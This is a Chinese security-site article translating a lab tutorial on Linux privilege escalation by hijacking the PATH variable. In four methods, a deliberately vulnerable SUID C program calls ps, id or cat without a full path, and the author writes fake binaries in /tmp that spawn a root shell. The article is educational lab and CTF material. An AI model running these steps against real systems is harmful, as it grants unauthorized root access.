path环境变量
首页
文章
漏洞
SRC导航
内容精选
输入关键词搜索
APP 登录| 注册
利用 PATH 环境变量进行 Linux 提权
阅读量 25616 | 评论 16 稿费 160
分享到: QQ空间 新浪微博 微信 QQ facebook twitter
发布时间:2018-06-06 11:03:37
译文声明
本文是翻译文章,文章原作者,文章来源:http://www.hackingarticles.in/
原文地址:http://www.hackingarticles.in/linux-privilege-escalation-using-path-variable/
译文仅供参考,具体内容表达以及含义原文为准
×
在解决了几个OSCP挑战之后,我们决定写一篇用各种方法进行Linux提权的的文章,这可能会对读者在进行渗透测试项目时有所帮助。在本文中,我们将学习各种操纵$ PATH变量的方法来获取远程主机的root访问权限,以及在CTF挑战中通过生成$PATH漏洞导致提权的技术。如果你已经解决了CTF对Post Exploit的挑战,那么通过阅读这篇文章,你将会意识到导致提权的一些漏洞。
让我们开始吧!!
介绍
PATH是Linux和类Unix操作系统中的环境变量,它指定可执行程序的所有bin和sbin存储目录。当用户在终端上运行任何命令时,它会向shell发送请求以在PATH变量中搜索可执行文件来响应用户执行的命令。超级用户通常还可以使用/sbin和/usr/sbin以便于执行系统管理的命令。
可以简单的使用echo命令查看用户的PATH。
echo $PATH
/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
如果你注意到’.’在环境PATH变量中,它表示登录的用户可以从当前目录执行二进制文件/脚本,并且它可以成为攻击者升级为root权限的绝佳技术。这是因为管理员在编写程序时缺乏注意,没有指定程序的完整路径。
方法1
Ubuntu LAB SET_UP
目前,我们位于/home/raj目录,我们将在其中创建一个名为/script的新目录。现在在脚本目录下,我们将编写一个小型的c程序来调用系统二进制文件的函数。
pwd
mkdir script
cd /script
nano demo.c
image
正如你可以在我们的demo.c文件中看到的,我们正在调用ps命令,它是系统二进制文件。
image
然后使用gcc编译demo.c文件,并将编译文件提升到SUID权限。
ls
gcc demo.c -o shell
chmod u+s shell
ls -la shell
image
渗透受害者的VM机器
首先,你需要登陆到目标系统,然后进入提权阶段。假设您通过ssh成功登录到受害者的机器。然后在find命令的帮助下不浪费时间的搜索具有SUID或4000权限的文件。
find / -perm -u=s -type f 2>/dev/null
因此,借助上述命令,攻击者可以枚举任何可执行文件,这里我们还可以发现具有suid权限的/home/raj/script/shell。
image
然后我们进入/home/raj/script并看到一个可执行文件”shell”。所以我们运行这个文件,在这里它看起来像文件shell试图运行ps,这是一个真正的在/bin中的文件可以查看进程状态。
ls
./shell
image
echo 命令
cd /tmp
echo "/bin/sh" > ps
chmod 777 ps
echo $PATH
export PATH=/tmp:$PATH
cd /home/raj/script
./shell
whoami
image
copy 命令
cd /home/raj/script/
cp /bin/sh /tmp/ps
echo $PATH
export PATH=/tmp:$PATH
./shell
whoami
image
Symlink 命令
ln -s /bin/sh ps
export PATH=.:$PATH
./shell
id
whoami
注:symlink也称为符号链接,如果该目录具有完全权限,则它们将成功运行。在Ubuntu中,在符号链接的情况下,我们已将权限777授予/script目录。
因此,我们看到攻击者可以操纵环境变量PATH来进行提权并获得root访问权限
image
方法2
Ubuntu LAB SET_UP
重复上述步骤配置您自己的实验环境,现在在脚本目录中,我们将编写一个小型的c程序来调用系统二进制文件的函数。
pwd
mkdir script
cd /script
nano demo.c
正如你可以在我们的demo.c文件中看到的,我们正在调用id命令,它是系统二进制文件。
image
然后使用gcc编译demo.c文件,并将编译文件提升到SUID权限。
ls
gcc demo.c -o shell2
chmod u+s shell2
ls -la shell2
image
渗透受害者的VM机器
同样,您需要登陆目标系统,然后进入提权阶段。假设您通过ssh成功登录到受害者的机器。然后在find命令的帮助下不浪费时间的搜索具有SUID或4000权限的文件。在这里,我们还可以发现具有suid权限的/home/raj/script/shell2。
find / -perm -u=s -type f 2>/dev/null
然后我们进入/home/raj/script并看到一个可执行文件”shell2”。所以我们运行这个文件,它看起来像文件shell2试图运行id,这是一个真正的在/bin中的文件。
cd /home/raj/script
ls
./shell2
image
echo 命令
cd /tmp
echo "/bin/sh" > id
chmod 777 id
echo $PATH
export PATH=/tmp:$PATH
cd /home/raj/script
./shell2
whoami
image
方法3
Ubuntu LAB SET_UP
重复上述步骤设置您自己的实验环境,您可以在我们的demo.c文件中观察我们正在调用cat命令从etc/passwd文件中读取内容。
image
然后使用gcc编译demo.c文件,并将编译文件提升到SUID权限。
ls
gcc demo.c -o raj
chmod u+s raj
ls -la raj
image
渗透受害者的VM机器
再次登陆受害者的系统,然后进入提权阶段并执行以下命令查看sudo用户列表。
find / -perm -u=s -type f 2>/dev/null
在这里,我们还可以发现/home/raj/script/raj具有suid权限,然后我们进入/home/raj /script并看到一个可执行文件”raj”。所以当我们运行这个文件时,它会把etc/passwd文件作为结果。
cd /home/raj/script/
ls
./raj
image
Nano 编辑器
cd /tmp
nano cat
现在在终端输入/bin/bash并保存。
image
chmod 777 cat
ls -al cat
echo $PATH
export PATH=/tmp:$PATH
cd /home/raj/script
./raj
whoami
image
方法4
Ubuntu LAB SET_UP
重复上面的步骤来设置你自己的实验环境,你可以在我们的demo.c文件中看到我们正在调用cat命令来读取/home/raj中的msg.txt,但是/home/raj中没有这样的文件。
image
然后使用gcc编译demo.c文件,并将编译文件提升到SUID权限
ls
gcc demo.c -o ignite
chmod u+s ignite
ls -la ignite
image
渗透受害者的VM机器
再次登陆受害者的系统,然后进入提权阶段,并执行以下命令查看sudo用户列表。
find / -perm -u=s -type f 2>/dev/null
在这里我们也可以发现/home/raj/script/ignite具有suid权限,然后我们进入/home/raj/script并看到一个可执行文件”ignite”。所以,当我们运行这个文件时,会产生一个”cat:/home/raj/msg.txt”的错误结果。
cd /home/raj/script
ls
./ignite
image
Vi编辑器
cd /tmp
vi cat
现在在终端输入/bin/bash并保存。
image
chmod 777 cat
ls -al cat
echo $PATH
export PATH=/tmp:$PATH
cd /home/raj/script
./ignite
whoami
image
作者: AArti Singh是黑客文章的研究人员和技术撰稿人 信息安全顾问社交媒体爱好者。 在这里联系
本文翻译自 http://www.hackingarticles.in/, 原文链接 。如若转载请注明出处。
linux 提权 PATH环境变量
youyu岁月 分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读
2018安恒杯11月赛-Web&Crypto题解
2018-11-26 10:02:02
U2F安全协议分析
2018-11-24 10:00:48
二十年重回首——CIH病毒源码分析
2018-11-23 15:20:19
Cookie Maker:隐藏在Google Docs中的恶意网络
2018-11-23 14:30:40
|发表评论
发表你的评论吧
昵称
我不是黑客
换一个
|评论列表
黑帽子 · 2018-06-11 08:20:09 1 回复
有没有原文地址呢?
大表姐 · 2018-06-09 16:18:48 1 回复
请问一下,第一个例子中chmod u+s和setuid(0)的关系是什么,网上查了一下,还是没搞的太明白
大表姐 · 2018-06-09 16:18:48 1 回复
请问一下,第一个例子中chmod u+s和setuid(0)的关系是什么,网上查了一下,还是没搞的太明白
大表姐 · 2018-06-09 16:18:47 1 回复
请问一下,第一个例子中chmod u+s和setuid(0)的关系是什么,网上查了一下,还是没搞的太明白
大表姐 · 2018-06-09 16:18:46 1 回复
请问一下,第一个例子中chmod u+s和setuid(0)的关系是什么,网上查了一下,还是没搞的太明白
大表姐 · 2018-06-09 16:18:46 1 回复
请问一下,第一个例子中chmod u+s和setuid(0)的关系是什么,网上查了一下,还是没搞的太明白
熊猫烧香作者 · 2018-06-08 09:48:49 1 回复
谷歌翻译,然后复制粘贴,排下版160稿费到手
带头大哥 · 2018-06-06 18:14:22 1 回复
哈哈
吃瓜群众 · 2018-06-06 18:05:14 1 回复
呆佬
小虎 · 2018-06-06 17:51:44 1 回复
。。。
小虎 · 2018-06-06 17:51:38 1 回复
。。。。
土司观光团 · 2018-06-06 17:47:50 1 回复
大神
土司观光团 · 2018-06-06 17:47:46 1 回复
大神
土司观光团 · 2018-06-06 17:47:43 1 回复
大神
土司观光团 · 2018-06-06 17:47:35 1 回复
666666
土司观光团 · 2018-06-06 17:47:30 1 回复
66666666
youyu岁月
这个人太懒了,签名都懒得写一个
文章
1
粉丝
1
TA的文章
利用 PATH 环境变量进行 Linux 提权
2018-06-06 11:03:37
输入关键字搜索内容
相关文章
Linux PWN从入门到熟练
Linux系统在互联网中面临的安全威胁分析报告
漏洞预警 | CVE-2018-14665 X.Org提权漏洞
Linux运维安全之PAM安全策略实施
聊一聊Linux下进程隐藏的常见手法及侦测手段
Linux create_elf_tables函数整数溢出漏洞(CVE-2018-14634)的分析与利用
运维安全之如何防范利用sudo进行提权获取完整root shell
热门推荐
文章目录
介绍
方法1
渗透受害者的VM机器
echo 命令
copy 命令
Symlink 命令
方法2
渗透受害者的VM机器
echo 命令
方法3
渗透受害者的VM机器
Nano 编辑器
方法4
渗透受害者的VM机器
Vi编辑器
安全客Logo
安全客
安全客
关于我们
加入我们
联系我们
用户协议
商务合作
合作内容
联系方式
友情链接
内容须知
投稿须知
转载须知
合作单位
安全客
安全客
Copyright © 360网络攻防实验室 All Rights Reserved 京ICP备08010314号-66
Loading...0daybank
文章评论